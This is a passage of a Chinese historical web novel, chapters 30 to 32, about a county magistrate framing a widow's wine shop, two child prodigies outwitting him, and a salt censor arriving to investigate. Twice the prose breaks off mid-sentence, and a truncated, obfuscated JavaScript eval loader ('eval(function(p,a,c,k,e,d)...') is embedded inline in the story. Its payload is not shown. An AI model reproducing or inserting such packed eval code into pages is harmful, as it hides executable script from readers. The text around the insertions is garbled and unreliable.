听这一番话,张军也是面红耳赤,回过神,手捏紧了账本:“我是奉衙门的命办的事!你说的这些,我管不着!但今天,这账本的蹊跷查了出来,便是王县令问起,这罪都是你们的!” “好!既然这么说,那就去衙门吧,我跟你们走,怎么样!”且看那长身玉立的少年,一拂袖,全然不惧,一时间,不少人都为之喝彩。 边上站着的周瑶听闻这话,脸色微变,刚要上前,就被周盈一个眼神制止了。 “你、你!” “怎么?我跟你们走,有什么不敢的?不是说账本蹊跷?我这个人证跟你们走一趟,把账算清楚了,事情说开了,岂不是更快?” 张军闻言,是被架在这,上不上下不来了,他支支吾吾,当然是心虚。这事儿也就是个口头吩咐,往日里,若是正经事,自然是要走个流程,有个规章公文。 不正经的,上面开口,下面明白,双方合计,一拍即合,查抄的“赃款”,也就全入了口袋。 这本来是心照不宣的事。 但他哪里敢说! 自然是心里暗恨周盈,直接把事情给搅和了,如今不拿人,反倒是真坐实衙门闹事,到时候怪罪下来,王县令会替他顶着吗? 放屁! 张军皱眉,阴翳目光扫视了一番,站得直的周盈,冷哼一声:“好,既然如此……来人,带走!” “军爷!”周瑶闻言顿时站不住,上前直接挡在门口。 “军爷,这其中怕是有什么误会,我儿年幼,说的话都是意气话,哪里能当什么真?” “再说了,这税的问题,咱们可以把账细细算明白,若是真有什么遗漏,补上就是了,何须大费周章,如此……” 周盈给周瑶使了个眼色,对方没看,并挂断了你的眼神交流。 周盈:…… “去去去!一边去!碍事。”张军嫌恶地一推,手一挥,身后几个官兵便架着周盈,一路朝着衙门方向走去。 一侧,坐在酒楼内,围观了整个闹剧的年轻人,见状,放下一锭银子,随后起身下楼,隐去人群。 山阴县外,约三十里,一处驿站,马匹甩着尾巴,低头吃着草料。 紧接着,疾驰的哒哒声,随着地面轻微的震动,逐渐逼近。那人牵马停下,翻身下马,进入驿内。 这儿是专给路过游人、官差役吏歇脚停留的地方,是以当地县府拨款进行修缮维护。 走进来的人,掀起衣摆,单膝下跪:“御史,前方不远,便是山阴县。” “探子来报,说是那王县令,鱼肉乡民,坑害孤儿寡母,将人抓入衙门,是为行屈打成招之事。” “哦?”开口的人,声音沉沉。 “起来回话。” “是。”这察院差官缓缓起身。 “就在一刻钟前,山阴县素有名声的孩儿笑酒家作坊,被王县令的人团团围住,其名下胥吏蓄意查账,妄图栽赃陷害,是为坑其家产。” “那山阴神童,如今何在?” “一人已进衙门,一人或在郭府。” 坐在椅子上,一身便服的男人,年约三十多,眉目锐利,面修似刃,长眉入鬓,黑瞳入墨。 整个人看上去,端正板严,自有一股不怒自威的气场。 闻此言,手上的书,随意合上,丢在一侧。 他站起身:“而今,我乃圣上亲封巡盐御史,至浙江,入绍兴,在这山阴门外,便听那王县令欺凌百姓,坑害孤儿寡母。” “其罪瞠目结舌,其恶令人发指,可见这王宗昌,素来如此,今亦不曾收敛,若随意轻拿轻放,倒还真要……无法无天了。” 站在一旁,一直不曾开口的协理皱了皱眉:“御史,如今我等是为巡盐之事而来,理应先将此事办妥再说。这地方官牵扯甚多,若要捉拿,只怕还需费些功夫。” 曹谨行转身,看着他,突然淡然一笑:“说的在理,不过……” 他声音一变:“当地官员,目无王法,徇私舞弊之事,还少吗?我们来山阴县,就是来捉人的,捉一个是人,捉一群也是人,不过都是乌合之众。” “捉的是硕鼠,就是为朝廷清扫门庭。” “……”几人皆低下头,不再说什么。 见此,曹谨行回头,背负手,大步流星走出门:“传令,整队前往山阴县,我要彻查此事,务必还此地百姓一个公道。” “是!”众人应道,随后迅速整队,阴云密布的天际之下,一队人马,洋洋洒洒朝着山阴县一路而去。 此正是,山雨欲来风满楼。 郭府,被挡在门外的二人,却是费了一番波折,郭嘉直接爬墙进了门。 却说,这老祖宗,倒还是好生安逸,在院子里赏花听戏,一侧的郭三越笑呵呵的伺候着,颇不知大难临头。 “这曲儿唱的不错,等会儿给这戏班子赏点东西,人家大老远的赶过来给咱们唱戏,也不能怠慢人家。” “欸,是!老祖宗宽厚,等会儿我就去办。” 郭嘉皱眉,直接上前,也不顾几个人这会儿听戏的闲情逸致。 几个人见着这突然出现的影子,也是满脸惊愕:“欸?嘉儿,你怎么在这?” 只见这少年,面色阴翳,看着几人扫视了一番,却不见郭尧身影:“郭尧呢?” 郭三越皱眉,刚要呵斥对方没个规矩,郭勋便道:“尧儿出去有事,你这是怎么进来的?身上全是泥。” “这倒要问问郭尧了。” 郭嘉也没什么闲情逸致跟人虚与委蛇,直接开门见山:“郭氏要大难临头了,你们竟还如此悠闲,倒还真是死到临头不知缘由,只怕下去也只能做个糊涂鬼。” “郭嘉!”郭三越听了这话,顿时暴怒,直接跳起来。 郭嘉冷笑:“你倒是问问你那个好儿子做了什么?坑害族人,为虎作伥,替那王县令贪墨吞田,如今咱们郭氏的田帐,全都被拿去做了文章,那王县令可是朝着你们来的!” “你们可知?自大明开朝以来,官田便是定下死规矩,不能进行买卖的!而今反倒是借着挂名由头,肆意吞并佃农官田,交税却不十不足一!” “足可见,贪赃枉法,也是常态。” 几个人被说懵了,郭三越脸色涨红,手都在发抖的指向他:“胡说八道什么!往年,给你们家的百亩田,难不成还不够喂饱你这狼子野心!” “可别,这田,是宗族该分的,吞的那些官田,我们这是一分没有。” 郭嘉说到这,朝着脸色阴沉的郭勋行了一礼,倒没有了之前的狂妄:“老祖宗,我说话着急,实在是情形危急。那郭尧,不知怎得,竟是勾结了王县令,查账查到了我们的人头上,如今是为着酿酒的事情,还要拔出萝卜带出泥,顺过来查咱们郭氏的田地问题。” “这事情往大了说,是在掘我们的根,他郭尧却不知道,我们酒坊酿酒的粮食,都是从那百亩祖田里生出来的!真牵扯起来,他郭尧怎么能逃掉?!” 一个七八岁的少年,说的话字字清晰,逻辑通顺,着实是把在场的几个人都说的皱起眉来。 能在这山阴县扎根这么多年的乡绅,到底也都不全是傻子,否则早就被连根拔起了。 郭三越脸色一沉,心里开始乱跳,脑子里细想这些天,郭尧倒还真是……不太对劲。 这几日,这小子出去太勤快了。 坐在一侧,此时板着脸,喜怒不容于色的郭勋,冷声开口:“三越,尧儿呢?” “呃……这。我见着他早上刚出去,约莫这会儿应该要回来了。” 郭勋闻言,目光锐利地如刀针一般看去:“约莫?” 他猛地拿起一侧拐杖,朝着郭三越猛摔过去!郭三越往后下意识一退,拐杖便直接当啷一声,掉在地上发出巨响。 “你这个做爹的!连自己儿子去干什么了都不知道!?你吃干饭的?!给我滚出去找!”郭勋怒容满面,如发了怒的狮子,声音尖锐的直接将几人吓了一大跳。 “是、是,我这就去!”郭三越心里是把郭尧骂了个狗血淋头,这儿子还真是不让人省心的!这事儿要真是郭尧扯出来的,那麻烦就大了! 思忖间,郭三越也颇有些苍老,脚步匆匆朝着外面走去。 气得胸膛疯狂起伏的郭勋,这会儿情绪激动地边上几个女眷忙上前,手帮着顺气。 “老祖宗歇歇,可别气坏身子了。” “嘉儿,你把事情都说一遍,到底是怎么回事?为何如此急匆匆的?” 看完了全场戏的郭嘉,垂眸,随后抬起眼皮子,眼中微闪精光。 而此时此刻,另一边,急得不行的郭怡,这会儿找上了周瑶,两个母亲一合计,直接倒吸一口凉气。 “这是冲着我们来的,非但如此,只怕王县令背后,还有朝堂上的关系!”周瑶听了郭府将二人拒在门外的事情,顿时就明白了之前一团迷雾的局面! 若只是靠着王县令这个地方官,前些年都没什么事,为何偏是这会儿突然发难? 这显然是不合常理的,必然是有什么事情,打破了这个平衡。 除了上面开始动手,她想不出别的了。因为周瑶想到了一件事情。 她语气急切,脸上带着几分焦急:“二嫂,你可还记得,前几日,盈儿两人对我们说的事情?” “我只怕…这其中牵扯的水太深!朝着我们来,也不过是个幌子!” 听到这话,本就担忧的郭怡,顿时脸色一白:“若如此说来,岂不是盈儿更危险了?” “这不行,咱们得快些找法子把人捞出来!” “我倒是有个办法,不知道能不能起作用。”踱步的周瑶,脚步猛地一停,抬头看向她。 “此事,咱们不能牵扯其他人,女子本弱,为母则刚,这是个活招牌,拿去官府衙门击鼓鸣冤,把事情搞大些!” 带着些许风霜的脸面上,此时此刻全是坚毅,周瑶眼里狠了几分:“我倒是不信,这些当官的,在这众目睽睽这么多双眼睛下,还真想把咱们孤儿寡母逼死不成!他们难道不要脸!” “这事儿我一个人去,你要去找些街坊邻居,更…”她说到这,转头看向郭怡。 “得辛苦你,去郭府门口,跪上一跪了。那郭尧既如此狠辣,咱们也非得让他知道,什么人惹不得!” 郭怡闻言,眼眶微红,颔首:“好,你要小心。” 两人匆匆商量完,便直接离开了家。 山阴县知府衙门内,悠哉悠哉,喝着小酒,翘着二郎腿,听着弹唱小曲儿的王宗昌,这会儿头上的乌纱帽,如今端端正正摆在一侧的小桌子上。 随着曲调婉转间,他手放在扶手上,打着节拍,嗓音随之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那账本上白纸黑字,自开业以来的进出,全部都写在上面,我也很好奇,难不成是我这帐算错了?” 他说到这,声音有些尖锐:“还是说……谁借着官府衙门的名头,从中作梗?让王县令,都被蒙在鼓里呢?” “……”一阵寂然。 王宗昌闻言,心里是恨不得骂死张军等人,简直是成事不足败事有余! 怎么能把周盈给带回来呢! 如今整个山阴县都知道,周家、郭家的孩子,是出名的神童,那私塾老爷们器重,杨家、张家也都与其颇为交好。 王宗昌本是想着,拿账目的事情,查一查郭氏的土地问题,总归是能拔出萝卜,至于周家酒坊的事情…叫他们罚款,补上税,也就算了。 到时候,这下马威落下去,郭氏那头直接施压,也要比他直接出面劝,要有效果。 可这张军,偏把事情直接闹大了! 想来想去,王宗昌一个脑袋两个大!上头的人施压,这地方的人也给他脸色看! 这个县令做的,还真是憋屈极了! “王县令?” “啊、啊……此事……”他皱眉,想到此,如今也是没办法,硬着头皮都得上。 只有把这两个神童收拾服了,彻底闭嘴,才能不将那矿税旧案的事情,捅出去。 否则,这事情闹大,那就是他乌纱帽不保! 想到这里,王宗昌脸色一变,顿时板起一张脸:“大胆!狂口小儿,胆敢置喙官府衙门办事?” “来人!” “……”张军眨了眨眼睛,没动腿。 王宗昌气的不行:“你耳朵聋了?!” “在!” “把这狂口小儿给我拿下!我要亲自审问!” 周盈闻言,目光透露出几分讥讽,脸上全然无惊慌失措。见左右围上来的几人,他拂袖:“不必了,我自己去牢狱走一趟就是。” “……”嘿,还没见过,这么稀奇古怪的犯人。 街道上,这会儿的周家酒坊门口,被拆掉的牌匾倒在一侧。 原先酒坛子里醇香的孩儿笑,此时此刻早已被砸得七零八落,酒水混了一地。 路过的人纷纷叹息,几个街头邻居也都在谈着今日发生的事情。 但是很快,街头便出现了一道风景线。 只见,那原先被尊称一声周掌柜的周寡妇,此时此刻,背后背着个花圈,头上戴着白花。 而她身上,正绑着一块用墨水写了字的牌匾,其字曰:沉冤昭雪! 不少人见着这排场,无不为之惊讶震撼。那花圈,是家里死了人,才能摆的,那头上的白花,是守丧的时候,才能戴的。 那牌子上的墨迹,如血泣一般,令人瞠目结舌! “这……这不是周寡妇吗?” “哎哟,造孽啊!” 周围的街坊邻居见此,顿时都走到了街边,谁也没有上前来询问,因着昨日里发生的事情,已都明白,周瑶这是要去官府衙门喊冤去了! 她是要拿着“为母则刚”这把刀,直直劈向衙门内,那块“明镜高堂”的牌匾! 周瑶见着人越来越多,深吸一口气,张嘴道:“民妇周氏,今泣血顿首,告于青天白日、父老街坊前!” “孤寡者,于城东经营酒铺,完税纳粮,素无拖欠!而今县衙公差,无凭无据,强闯吾宅,蔑我账黑,抓我儿,下大狱,今以披麻戴孝之身,恳请……” “伸——冤!” 一声响起,顿如震彻云霄之声! 霎时间,街道寂静。 她脚步往前,目光坚毅,直指向官府衙门。 随后,几个跟在她身后的往前走一步。 紧接着,是一群人。 再后来,是一片。 “伸冤!” “对!欺负孤儿寡母,就算是县老爷也不成!” “周寡妇帮了那么多乡亲,现在有难,咱们就是难也得帮!” “走!咱们人多势众!给周寡妇提气去!” 霎时间,喊冤之声滔天如雷。 连带地面颤动,令人为之侧目。 “前头,发生了什么事情?”刚步入山阴县大门的曹谨行,察觉踩着的地板有些抖动,不免皱了皱眉。 “御史,属下去前方看看。”上前一步的协理开口行了一礼。 那曹谨行,将手上马鞭递给身边人,拂袖间,负手往前一步:“不用了,既然都到了山阴县,直接进去吧,里头是龙是虫,我倒还不信能翻出什么花来。” 31.第 31 章 官府衙门外,此时此刻人声鼎沸,早已失去了控制。蹲在门内的衙役,开了道缝隙,朝外头看去,反倒是惊得自己一身汗。 猛合上门,转身间,脸色煞白一片。 “老、老爷!不好了!大事不好!”他声音扯着,声嘶力竭的破了音,直接将本就逼仄压抑的官府衙门,捅出了个出气口。 “吵什么!你老爷我还没死呢!滚边去。”这会儿神情阴沉,目露狰狞的王宗昌,脸上倒还算板正。 只不过,他那只拿起乌纱帽的手,打着哆嗦的举起官帽,往自己头上一戴。 “走,先去大牢!” 这会儿,也来不及再多说什么,脚步匆匆的王宗昌,一挥袖,直接朝着大堂后走去。 阴暗,潮湿的大牢内。 这会儿关着的,除了一两个凶神恶煞的犯人,也就只剩下周盈了。 他这会儿盘腿坐在杂草铺就的床位上,闭着眼养神。一身的雪白衣裳,在昏暗中显得格外的醒目。气质沉静,姿态端容,毫无狼狈之色,反倒添一分,出淤泥而不染的清贵来。 听到声音,长睫轻颤间,这才微微抬起眼皮。 戴着乌纱帽,着七品官服的王县令,这会儿脸色阴沉,目光如刺一般,扎在周盈身上。看了一眼边上摆着的饭菜,纹丝未动,不禁皱起眉。 周围两个衙役沉默的站在门口守着,王县令使了个眼色,其中一人便上前一步,拿起钥匙把门打开。 “周神童,我好言相劝,当街阻挡差役报案,公然污蔑朝廷命官,这可是死罪。” “如今,郭氏的那些田账,可都在衙门里压着,办案的铁证如山,你若真冥顽不灵,抄拿一个犯罪贪墨的乡绅,本官还是有这个权力的!” “……” “你!” 王宗昌见他一言不发,不禁被气的差点破功,想到当今局势,还是强忍下来。 “罢了,如今本官大发慈悲,也是惜才。我就实话跟你说,这朝廷里,有大人物看中了你二人,此事若是办妥,到时候功名路上,有人保驾护航,有什么不好的?” 说到这儿,王宗昌也是没好气,一拂袖,侧身叹息。 “……” 气氛一时尴尬。 左右两个衙役见状,眼睛里透出几分八卦好奇。 王宗昌没有台阶下,这会儿扯了扯嘴角:“还真是不识抬举!没点教养!” “我告诉你,此事你反抗不了,乖乖听话,出去跟那些乡亲们解释通了,我保你无罪,到时候郭氏那边,我替你们去说。” “就说是那郭尧,公事私办,叫郭氏大义灭亲了!到时候郭氏也是你们的,如何?” 真是好大的手笔。 周盈闻言,垂眸的长睫,遮掩住了眼里头的几分冷意,倒也没有太表现出来,只不过是开口道:“敢问大人一句,这朝廷中的贵人,姓甚名谁?” 王宗昌听他回话,心中一喜,随后轻咳一声,皱眉道:“贵人的名字,怎么能随便告诉你?你乖乖听话,有神童名讳,再有朝廷中的贵人提携,将来入朝为官,便是乘龙得凤,也不是没可能的。” 真是狂妄口气,一个小小七品官县令,如何能胆敢置喙将来之事的? 看来,这背后的人,在朝中地位不低啊…… 是如今首辅叶向高? 倒也不对。 叶向高虽为东林人,但举荐了曹谨行这样的实干派官员,想来是个群而不党的人。再说,他没必要多插手做这样的事情,容易惹麻烦不是,还会被皇帝忌惮。 那会是谁? 周盈心里思忖着,而王宗昌却已经开始不耐烦了。 “怎么?想清楚了?” “敢问大人,连背后之人名讳都不敢提,我又该如何信这空口白话?”他转头看向王宗昌,一字一句间又道:“莫不是……诓骗我等、送、死?” “……你!”愣了一下的王宗昌回过神,猛地怒气一窜。 “我这是劝你一句,地方的事在地方说,朝廷的事,我们地方也管不着,如今我是你的父母官,你应该先听我的!” “哼,请回吧!”盘腿坐着的少年袖手一挥,宽大袖子盖在膝上,便又开始闭目养神了。 王宗昌见状,气得火冒三丈,忍得都快憋出毛病了,脸上怒气浮现,红了半张脸。 “诶……好吧,我跟你说。” 也就在两人在大牢谈话之际,从山阴县大街,一路走来的曹谨行等人,却是路过了郭府门口。 这会儿,郭氏门外,围满了一大群的人,不少人指指点点,脸上唏嘘不忍。 见状的曹谨行,皱起眉:“去,派个人过去看看。” “是。” 那身着便服的察院差官接了任务,便悄无声息走上前去,只听周围交头接耳,声音不断。 “哎哟,真是造孽,这郭家,早些年欺凌孤儿寡母的,我倒还以为改了性呢。” “诶……这郭氏也是可怜,好不容易日子好了些,偏又出了这档子事。” “我听说,都是那郭尧做的,好歹毒的心肠!怎忍心对手无缚鸡之力的孤儿寡母下手啊!” 察院差官听闻,皱起眉来,随手抓了一个围观群众,便又立刻换上一副好奇的神情:“诶?大哥,我路过,这儿发生了什么?怎么围了这么多人?” 那大汉闻言,目光打量了一番,见这人一身锦缎服饰,看起来不似一般人,却也看不出官职,倒也和气开口:“我看你不是咱们山阴县本地人吧?” “哦?如何讲?” “咱们本地人都知道,七年前啊,这郭家,就因为欺凌孤儿寡母,名声早就臭了!” “要不是后面把那郭氏和她儿子接了回来,咱们这街坊邻居的,便是真要看不起他们了。可如今,那郭尧,真是心肠歹毒,丧心病狂,竟是直接勾结了衙门的人,把郭氏家里好不容易建立起来的招牌砸了,连唯一生计都要断了!” “哪个有点良心的人,都不忍心这么做吧!” 这大汉是个热心肠的,话说到这儿,眼眶都红了,字字肺腑之言。 “郭氏家里买卖做起来了,还常请咱们乡里乡亲的喝酒,那些家里有困难的,也都帮着雇人干活,这样的好人家,反倒是被这群人污蔑泼脏水,咱们看着也是心痛。” “哦……诶,这话说的,我这心肠也难受。”听了这话茬的察院差官,随意掰扯几句打发了人,匆匆赶了回来。 站在边上看着混乱场面的曹谨行听了他的汇报,眯起眼,面色不改,只淡淡道:“这还真是稀奇了,一个寡妇,有如此大的能耐?” “我倒看着,也是这当地的官员,徇私舞弊贯了,如今惹的天怒人怨。” “御史,此事……或有些蹊跷。” “嗯?” 协理皱眉:“我们刚来山阴县,便见着两桩冤案,这未免太凑巧。” 曹谨行颔首:“此事我有定数,咱们来这山阴县,想要将这巡盐之事办下去,不立点威,做点文章,怕是不能成。” “如今这闹剧,也该收一收了。”他目中精光微亮,随后往前走上一步。 直接提嗓,雷厉风行间,卷起衣袖翻飞:“奉——朝廷命,巡盐御史曹谨行,巡察两浙盐政,兼察风纪!” 身后跟着的几个察院差官闻言,直接大喝,连带着复言了几遍,顿时,郭府外,众人目光立刻转移。 见一人,脚踏疾风,身形板正,面容刚毅,身后跟着的几个人皆是一副严肃姿态。 这般不怒自威,霎时便让人群下意识的让出一条道来。 一时间,人群动荡。 一时间,跪在门口的郭怡,转了头。 一时间,府门外,瞪大眼的仆人,顿时脸色惨白。 “快、快去禀报老祖宗!!” 那脚步匆匆,逃也似的飞奔入内的小厮,都被曹谨行看在眼里。 他走到郭怡身侧,低头:“郭氏,你有何冤屈,尽与本官说。我奉皇上之命,巡查山阴县,遇见委屈,便理清冤案,遇见贪官,便斩那贪官!” “若有乡绅,为祸一方,欺凌百姓,残害同宗,此罪皆一并处置!” “我的眼里,容不得沙子。” 曹谨行语气铿锵,不急不缓,说完后,负手而立。 围在门外的一群人见了,顿有人激动开口道:“是青天老爷来了!” “太好了,真是太好了……皇上听着咱们的苦了!” 郭怡闻言,心里震荡,连带着先前哭红的眼睛都睁大了一些。她愣怔了一会儿,随后便意识到这出戏,似乎有些失控了。 本来想着,是用这左邻右舍的嘴,将那郭尧批臭了!便是不让对方死,也得扒层皮不说。 可她未曾想过,真要倒郭氏! 这是两码的事情。 而今却突然冒出个什么……巡盐御史,显然事态已不是她能掌控了。 “民妇……” “你有何冤屈,都说出来。”曹谨行颔首,目光注视。 “……”郭怡脑筋急转,一时间竟组织不出什么合适的说辞来。 也就在这会儿功夫,那门内,老祖宗郭勋,也是焦急万分,手拄着拐杖,被人左右搀扶,急匆匆的朝着门外走来。 “哎哟,什么风,把钦差大人都吹来了?” 郭勋脸上的慌张自然是不可避免,往年里,钦差亲临山阴县的次数,几乎都不曾有过! 而今,这位曹御史,就这样站在郭府门口,还是如今外面闹得正厉害的时候,如何不让他心生惧怕? 这事儿,若是没有被撞见,那就是家丑。 家丑不可外扬,能捂着也就捂着。 但被撞见了,那可就要落个刻薄寡恩,手足相残的恶名了! “哎哟,怡儿,你这……”郭勋见着边上还跪着的郭怡,顿时都要心如死灰了,赶忙上前一步,将人扶起。 “你这孩子,动不动就下跪的。有什么事跟老祖宗说就是了!何至于如此?” 郭怡站起身,听了这话,心里也是掂量,如今事情闹大,已经是不好收场了,但也不如……先彻底把郭尧这个祸害,给捏死了! 眼中眸光闪烁间,她低着头心想着些什么。 以前是看在宗族面子上,再加上郭家老祖宗撑着,便是郭尧真做出什么出格的事情,宗族里面也是能放就放,谁叫他是如今的郭氏长子呢? 不过,好在是周瑶的孩儿笑酒坊越来越红火,家里日子越来越好过,她也就能忍则忍。 而今,孩儿笑的酒坊被砸,盈儿被抓,周瑶忍辱负重,背着牌坊去衙门申冤。 闹得这么大,不就是为了给郭尧一个教训和颜色?那王县令是非不分,也不是个好官。 她们孤儿寡母,都已经被欺负得没了路了!难道还要念着脸面吗? 这么想着,郭怡抬起头,神情一冷,两手从郭勋手里抽了出来。 郭勋微微一怔,随后便听她开口,却是肝胆欲裂。 “老祖宗,我今日上门,可不是为了喊冤。” “郭尧残害同宗亲戚,勾结那王县令,砸我孩儿笑招牌,抓我侄儿,如今盈儿正在衙门大牢受苦!” “如今,若不是我在这门口跪上一跪,把这街坊邻居都叫出来,看看这家丑如何见不得光!你们这些人面兽心的东西,难道会管我们孤儿寡母死活不成!” 她这话说的如连珠炮一般,一改往日的内敛文静,眉眼透露出几分锐利来,连带着微红的眼眶,都滚了几分泪花。 说的身后一群围观的街坊邻居,路过的行人,都不免的要叫声好! 曹谨行站在一侧,听着这话茬,瞥了那郭勋一眼,见这老家伙,如今已是额头冒汗。 也是七八十岁的人了,半只脚踏进鬼门关,临头了,还得被自己的子孙摆一道。 便不说家破人亡,不扒层皮,也是幸运了。 “这、这……”郭勋喘着气,显然是被这话说的有些受了刺激,手发抖着。 “如今,有曹御史在,这苦我就说一说,这冤我也咽不下!我不管郭氏怎么样,我就要一个公道!那郭尧呢?叫他滚出来!” “好!”曹谨行赞了一声。 “哎哟,老祖宗!”站在门口的女眷惊呼一声,见郭勋是一口气没抬起来,整个人踉跄往后摔,也是慌神了,上前忙赶着扶住。 手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 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郭嘉微笑,气定神闲道:“可曾闻,曹御史刚正不阿,为人正直。” 说到这,众人只见那少年,猛的一掀衣摆,随后直直跪下,从袖中掏出一份诉状。 而后,郭嘉眼神一变,声音猛的一提:“郭氏族人郭嘉,其父前仁和县令赵志祥,其母郭氏郭怡!今携整个郭氏,以罪臣眷属之身,恳求曹御史,彻查七年前,矿税旧案!还我父一个公道清白!还我母一个公平公正!” 他说到这,直接一个叩首,头点地的动作很轻,目光也很冷,却直接叫整个人群炸锅! “朗朗乾坤!青天在上!冤案得以沉冤昭雪,我郭氏……感激涕零!” 一时间,声似雷音回荡。 铿锵间,曹谨行脸色一沉。 刹那,郭勋嘴里“嗬嗬”两声,瞪着眼,没喘上气,整个人晕了过去。 乱套了。 彻底,乱套了! 山阴县,衙门大牢内。 被周盈怼的是面红耳赤,气的胸膛起伏的王宗昌,这会儿目露凶光,恨不得立刻动刑,将人屈打成招! 但这不行! 如今外面民意滔天,里面却是差池百出,叫他如何能不着急! 也就会儿,那脚步踉跄,神色慌张的衙役,猛摔了跟头,一声响,让王宗昌更烦:“走都不会?!你是蠢货吗!” “老爷!老爷!大事不妙!” “我知道!这会儿还能有什么好事!” “不、不是!是那曹御史!曹御史到衙门口了!” “……” 周盈闻言,睁开眼,心里思忖,这曹御史,倒还真是姗姗来迟,一点儿都不心急,如今这出大戏,是唱了一天又一天。 整个山阴县,都要被闹翻天了。 他这才缓步赶来。 足可见此人城府颇深,或已在门外观察许久了。 也不知郭嘉那边如何了? 还有母亲…… 那王宗昌,听到这话,目眦欲裂,手猛的一拽衙役的领子:“什么时候的事?!怎么都不跟我提前说!” “这、这……老爷,小的们也是才知道啊!” 听到这话,王宗昌猛地一松手,深呼吸一口气,额头冷汗直淌。 完了,一切都完了! 这当场被御史撞上,他这乌纱帽保不保得住都已经不是事了! 重要的是要掉脑袋! 此时,王宗昌如抓到救命稻草一般,猛的朝里面的周盈看去:“周盈!本官许你荣华富贵,许你前程功名,难不成你还不知足?!” 闻言,盘腿坐在里面的少年,轻笑一声,气定神闲:“我就向王县令问一句,到底是谁,在背后煽动,非要将这矿税旧案,搅进局里!” 王宗昌闻言,瞪大眼睛,一时间竟是有些不解:“什么意思?” “蠢货,当真是死不足惜。”周盈目光如看一坨烂肉一般,垂眸间,淡然一笑。 “我就跟你说明白些,让你做个明白鬼。” 他站起身,随意挥了挥衣袖,往前走来:“曹谨行乃朝廷钦奉的巡盐御史,来山阴是为了查盐税之事。” “而今,你却公然在山阴县,掀起如此滔天冤案,这不是朝着他这个御史的脸上招呼?” “再则,我也不知道你背后到底是什么人。非要如此硬逼我等,反是激起我二人心中怒火。” “现在,我二人,矿税旧案的罪臣眷属身份,早已是一个定时炸弹,投到谁那儿,都如烫手山芋。” “此时,只怕曹谨行,已携郭嘉,来到衙门口。一旦牵扯矿税旧案,这巡盐,便再难进行下去!” “到时候,东林的人没把事情办成,皇上震怒,朝局便是牵一发而动全身,那些人,难不成还会替你们担罪?!” 说到这,周盈看王宗昌脸色越来越差,嘴角翘着:“你说这罪,是那曹谨行当,还是你当?王县令,不如早早准备好罪供,求个保全家人吧。” “……你!”王宗昌,一口气没提上,手颤抖指着周盈,翻着白眼就要晕过去。 “哎、哎!老爷!老爷你可不能晕啊!”衙役见状顿时哭丧一般嚎。 周盈叹息:“把他抬出去吧,喂口冷水,清醒清醒。” “等会儿,可还有一场好戏,要开演呢。” 32.第 32 章 山阴衙门外。 人声鼎沸间,只见周瑶手抱着牌匾,头戴着白花,却是直直跪在门口,目光中带着滔天怒意,便是要把这衙门,都给烧了个一干二净! 张岱和杨业等人匆匆赶到,这会儿见闹出这么大的动静,也不免是心头震撼。 “杨兄可打点好了?这事儿可关乎我们两家的性命啊。”张岱抬起手,擦了把自己额头上的冷汗。 要知道,为了今天这出大戏,两个人也是马不停蹄,回家就开始着手安排起一切能动用的关系。 浙东之地,到底是浙党的大本营,这会儿也都不用他们说,早接到消息的地方官、乡绅、大儒等,已是急得如同热锅上的蚂蚁。 整个绍兴府,因着这次巡盐的事情,像是被闷在火炉里烤。 一听到张杨二家上门,便直接大开门庭,也算是几家欢喜几家愁了。 这些都是前话。 杨业闻言,点了点头:“父亲那边也已经与淮扬一带的盐商通了气,几位科道前辈,能帮助说一句话,有他们在朝廷撑着,应当是能撑会儿时间。如今就看小师弟这边能把这个局,搅和成什么样了。” 这事儿,到底还是不能让他们直接出面的,否则就落了口舌和把柄,也就只能靠声势浩大的士林清议开路。 陈夫子等人,在山阴县有名望,在绍兴府也素来有名,这士人、乡绅、地方官,千丝万缕的关系,真要动手,难啃! 这也是为何曹谨行,非要在外头等候时机,找准了机会,才入山阴县。 “诶……这次要是能活下来,咱们这帮人,倒真是欠了人家一个天大的人情了。” 张岱苦涩一笑,哪还有平时的风流贵公子模样,这会儿俊脸上是胡子拉碴,眼睛底下的黑眼圈都泛了出来。 闻言,杨业心思沉沉,看着那为首跪着的周瑶,亦有些于心不忍。 “只怕这次……还没有那么简单。若朝廷里,有人是铁了心,非要推行下去这个巡盐,我们又该如何呢?” 这话说的两个人心沉入谷底,说到底,地方声音再大,也大不过朝廷。 而今多党倾轧,水深如临深渊,两人是见着湖面都觉深不可测,只求着有个小船,平安度日,更是不敢提什么保全家产的。 能活命,就不错了。 也就这会儿功夫,不远处街道已传来不小的动静,只看以曹谨行为首的一群人,徐徐走来。 郭怡和郭嘉跟在一侧,身后便是被搀扶着的老祖宗郭勋,还有一些郭氏女眷们。 然后才是闻风赶来,为着加油打气的邻里乡亲。 其声势浩荡,义愤填膺,令人侧目。 张岱、杨业:……我们生死时速,你们看戏热闹。 当然,一群围观群众自然不知道他们心里头啥想法,走过来的曹谨行面不改色,看了一眼跪在地上的周瑶,深叹一口气:“起来吧,本官既然来到山阴县,便是为了替朝廷清扫蛀虫。” “尔等母子,如今被那王宗昌坑害至此,其罪罄竹难书。” 郭嘉上前,伸手把周瑶扶起来,见对方眼里头几分茫然和迟疑,便眯着眼使了一个眼色。 再转头,便看到躲在人群中的张岱杨业二人,默不作声的转了转身,朝着曹谨行道:“曹御史,这官府衙门紧闭,只怕是内有蹊跷。” “我看这王宗昌,莫不是动用了死刑,欲逼我兄屈打成招?” 跟在后头的察院差官,闻言便上前:“巡盐御史曹钦差,巡访山阴县,还不开门?!” 里头,一阵寂静。 随后,咔哒一声,打开的一条缝隙里,一个衙役脸上全是汗水,见着为首的察院差官,便咽了咽口水,嘿嘿一笑着将门打开。 他倒还没说什么,后头急匆匆出来,头上乌纱帽都歪着的王宗昌,脚步踉跄,一个东倒西歪,脸上全然没了平日里的盛气凌人。 “下官、下官山阴县令王宗昌!不知御史大驾!有失远迎……恭请宪台金安。” 郭嘉默不作声看了一眼他背后,没发现周盈身影,不免微微皱眉。 听了他这话,曹谨行也不回,他身边的协理倒是上前:“起来回话。” “是。” “王县令,咱们御史大人,刚到山阴县,先是见着周氏当街申冤,后又瞧见郭氏跪门泣血,你这县令,怎么当的?” “是无凭无据,便随意查抄民产!还是无朱票便锁拿百姓?!” 他声音猛地尖锐,叫王宗昌额头冷汗直流。 